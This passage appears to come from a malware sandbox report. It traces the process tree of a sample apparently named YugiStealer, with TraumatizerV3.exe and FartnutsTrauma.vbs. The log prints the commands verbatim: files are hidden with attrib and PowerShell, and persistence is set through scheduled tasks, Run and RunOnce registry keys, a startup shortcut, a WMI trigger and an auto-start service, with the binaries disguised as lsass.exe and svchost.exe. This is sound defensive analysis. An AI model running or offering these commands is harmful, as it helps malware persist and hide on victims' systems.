      attrib +h +s "C:\Windows\Temp\DLwneo3n\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:5920
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\DLwneo3n\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4864
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6348
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\DLwneo3n\FartnutsTrauma.vbs"
      4⤵
      PID:5104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\DLwneo3n\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6456
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192630.bat"
    3⤵
    PID:5016
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:3116
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:8664
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2828
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:8712
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:8412
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8792
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:8060
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:9112
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:8136
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      Views/modifies file attributes
      PID:7956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:9916
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:3348
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:1248
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:6512
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6988
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1228
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:5840
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:108
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:724
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:4708
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6824
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2124
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:2824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2384
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192640.bat"
    3⤵
    PID:8568
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:9852
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:8736
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:9364
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      Views/modifies file attributes
      PID:10564
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:8676
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2108
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      Views/modifies file attributes
      PID:8628
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:8308
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8960
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:10888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:4264
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:2704
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:6184

C:\Users\Public\Documents\lsass.exe
"C:\Users\Public\Documents\lsass.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6052
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3360
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:2088
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:4924
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:1360
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:4996
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:1416
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2384
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:4204
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7004
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6176
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3872
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:2212
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3304
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:7712
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest
    3⤵
    PID:7884
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:3752
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\lsass.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\lsass.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8956
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto"
  2⤵
  PID:1800
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:9120
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"
  2⤵
  PID:6848
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f
    3⤵
    - Modifies registry key
    PID:5260
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"
  2⤵
  PID:1652
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f
    3⤵
    - Modifies registry key
    PID:5768
- C:\Windows\Temp\lMfbcCIQ\TraumatizerV3.exe
  "C:\Windows\Temp\lMfbcCIQ\TraumatizerV3.exe"
  2⤵
  PID:7532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:7340
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\lMfbcCIQ\FartnutsTrauma.vbs
  2⤵
  PID:9368
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:10300
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\lMfbcCIQ\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10972
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:7944
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\lMfbcCIQ\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:8848
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\lMfbcCIQ\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10828
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:10420
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\lMfbcCIQ\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:580
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\lMfbcCIQ\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:9656
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:9320
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\lMfbcCIQ\FartnutsTrauma.vbs"
      4⤵
      PID:8540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\lMfbcCIQ\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:2184
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:9548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:9828
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:9600
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:10604
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:10100
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10420
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:10492
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10520
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:7512
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:6900
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10784
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:11912
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:11288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:9160
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:9476
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:10940

C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe
"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe"
1⤵
- Executes dropped EXE
PID:4692
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:3844
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1280
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:1196
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3824
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:3400
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4296
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:1620
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3968
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:5448
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:5548
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:244
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3208
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:1304
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3536
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:6480
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /sc onstart /f /rl highest
    3⤵
    PID:6924
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:764
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6796
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" start= auto"
  2⤵
  PID:6984
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:4528
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /f"
  2⤵
  PID:6040
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /f
    3⤵
    - Modifies registry key
    PID:7112
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /f"
  2⤵
  PID:7016
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /f
    3⤵
    - Modifies registry key
    PID:6568
- C:\Windows\Temp\LSEQhJxi\TraumatizerV3.exe
  "C:\Windows\Temp\LSEQhJxi\TraumatizerV3.exe"
  2⤵
  PID:6744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:3712
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:1436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
